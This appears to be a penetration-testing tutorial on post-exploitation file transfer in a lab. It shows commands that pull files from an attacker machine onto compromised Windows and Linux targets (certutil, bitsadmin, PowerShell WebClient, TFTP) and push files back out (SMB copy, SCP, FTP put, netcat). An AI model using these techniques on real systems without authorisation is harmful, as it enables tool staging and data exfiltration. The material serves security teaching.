File transfer is a crucial step in the post-exploitation scenario while performing penetration testing or red teaming. There are various ways to do the file transfer, here in this article we are going to show them one by one.

Table of Contents

• Lab setup
• File transfer using wget
• File transfer using curl
• File transfer using certutil
• File transfer using bitsadmin
• File transfer using PowerShell
• File transfer using SMB server
• File transfer using SCP
• File transfer using TFTP
• File transfer using FTP
• Different methods to setup the server for file transfer
• File transfer using Netcat
• Conclusion

Lab setup

Here we are going to perform the file transfer assuming we have already compromised the target machine and we have an initial shell access.

Attacker Machine: Kali Linux (192.168.31.141)

Target Machine 1: Windows 10 (192.168.31.219)

Target Machine 2: Ubuntu

Inside the attacker’s machine, we will setup an updog server. It is a replacement of the Python’s SimpleHTTPServer. It is useful for scenarios where a lightweight, quick-to-deploy HTTP server is needed.

To install the server, we will execute the following command:

pip3 install updog

After the installation is complete, we can run the server at port 80 using the following command:

updog -p 80

wget

To transfer the file, we can use the wget command. wget is a powerful command to download files from the web. It should be noted that while doing file transfer using wget in windows, we need to mention the -o (-OutFile) flag in order to save the file. If we do not mention the flag then it will only return it as an object i.e., WebResponseObject. The command for wget in windows is:

powershell wget http://192.168.31.141/ignite.txt -o ignite.txt
dir
type ignite.txt

curl

Curl is a powerful command-line tool, which can be used to transfer files using various networking protocols. Following will be the command to transfer the file:

curl http://192.168.31.141/ignite.txt -o ignite.txt

certutil

certutil is a command-line utility included with the Windows operating system, designed for managing certificates and cryptographic elements. To transfer the file using certutil following command can be used:

certutil -urlcache -f http://192.168.31.141/ignite.txt ignite.txt

The -split option in certutil is used to split large files into smaller segments to perform the file transfer.

certutil -urlcache -split -f http://192.168.31.141/ignite.txt ignite.txt

bitsadmin

Bitsadmin is a command-line utility for handling Background Intelligent Transfer Service (BITS) tasks in Windows. It facilitates different file transfer operations, including downloading and uploading files. The command for file transfer is:

bitsadmin /transfer job http://192.168.31.141/ignite.txt C:\Users\Public\ignite.txt

It can be seen that the file is successfully transferred after the command is executed.

File transfer using PowerShell

File transfer can be performed using PowerShell directly by running the following command:

powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.31.141/ignite.txt', 'ignite.txt')

File transfer using SMB server

SMB is a protocol meant for communication to provide shared access to files, ports etc. within a network. In order to enable it we will use the impacket-smbserver script inside kali linux to share the files. Here we are giving the shared directory name as share, the significance of the share here is that it converts the file’s long path into a single share directory. Here we can give the full path of directory or the pwd as argument so that it takes the current directories path.

impacket-smbserver share $(pwd) -smb2support

After the setup is done, we can execute the following command in the Windows machine to copy the files from the share folder.

copy \\192.168.31.141\share\ignite.txt

To copy the file from Windows into our kali linux, we can use the following command:

copy ignite.txt \\192.168.31.141\share\ignite.txt

In order to transfer file from another linux machine like ubuntu, we can connect with the share folder using the smbclient tool and then after login, we can directly upload and download the file using put and get commands respectively.

smbclient -L 192.168.31.141
smbclient "\\\\192.168.31.141\share"
ls
get ignite.txt
put data.txt

File transfer using SCP

SCP (Secure Copy Protocol) is a method for securely transferring files between a local system and a remote server, or between two remote servers. It operates over the SSH (Secure Shell) protocol, which ensures a secure connection over potentially insecure networks. It has the advantage of cross-platform usage such that it is supported by both linux and windows.

To copy the file from Windows to kali, we will be using the following command:

scp ignite.txt kali@192.168.31.141:/tmp

To transfer the file from kali linux to the windows machine, we will use the following command:

scp ignite.txt raj@192.168.31.219:/C:/Temp

File transfer using TFTP

TFTP (Trivial File Transfer Protocol) is a basic and minimalistic protocol for file transfers over a network. It operates over the UDP rather than TCP, this choice helps keep the protocol lightweight but means it does not provide the reliability and error-checking that TCP offers. It works on UDP port 69.

To transfer a file from kali linux to windows machine, we will be using the following command inside the Metasploit framework:

use auxiliary/server/tftp
set srvhost 192.168.31.141
set tftproot /root/raj
run

To download the file, we will run the following command in windows machine:

tftp -i 192.168.31.219 GET ignite.txt
dir

File transfer using FTP

FTP (File Transfer Protocol) is a longstanding and widely utilized protocol for transferring files across a network. It enables users to upload, download, and manage files on a remote server. To enable the FTP service, we are going to use the Metasploit framework. It can be noted that here we are keeping an authentication on the service rather than keeping the anonymous login.

Following will be the commands:

use auxiliary/server/ftp
set srvhost 192.168.31.141
set ftproot /root/raj
set ftpuser raj
set ftppass 123
run

Once the server is started, the file can be downloaded after authenticating into the FTP server.

ftp 192.168.31.141
dir
get ignite.txt

We can also use the python FTP server using the pyftpdlib. It is a library of python which helps us to setup the FTP server on the machine. Here we will be using it to setup a FTP server on the kali machine.

First we will start with the installation using pip3.

pip3 install pyftpdlib

After the installation is complete, we can start the FTP server using the authentication by the following command:

python3 -m pyftpdlib -w -p 21 -u ignite -P 123

Once the server is started we can authenticate into the FTP server from the windows machine and download the file. To upload the file we will use the put command and to download the file we will use the get command.

ftp 192.168.31.141
get ignite.txt
put C:\Users\raj\avni.txt

To setup FTP server for Anonymous login, we will run the same command but without the username and password.

python -m pyftpdlib -w -p 21

Once the server is enabled for Anonymous login, we can perform it and view the files.

ftp 192.168.31.141
ls

Different methods to setup the server for file transfer

To perform the file transfer we need to setup a server, besides using updog.

To setup a server using PHP, we can use the following command:

php -S 0.0.0.0:8081

To setup a server using python2, we can use the following command:

python2 -m SimpleHTTPServer 80

To setup a server using python3, we can use the following command:

python3 -m http.server 8000

File transfer using Netcat

Netcat, commonly known as nc, is a multifunctional networking tool designed for reading from and writing to network connections over TCP or UDP. Netcat can facilitate file transfers by establishing a simple client-server setup.

To transfer file in the kali machine from an Ubuntu machine we can use the following command inside kali:

nc -lvp 5555 > file.txt

Now we can run the following command in ubuntu to send the file to the kali machine:

ls
nc 192.168.31.141 5555 < file.txt

Similarly, we can also receive files from a windows machine inside our kali linux. However, it should be noted that we the target windows machine should have the nc.exe binary to make this method work.

Following is the command we need to run on the windows machine:

nc.exe 192.168.31.141 5555 < data.txt

To receive the file in the kali machine, we will run the following command:

nc -lvp 5555 > data.txt
cat data.txt

Conclusion

As we have seen that there are various methods to transfer the file from out machine to target system and vice versa. It depends on one’s choice and circumstances to use the appropriate tool for the file transfer.

Author: Vinayak Chauhan is an InfoSec researcher and Security Consultant. Contact here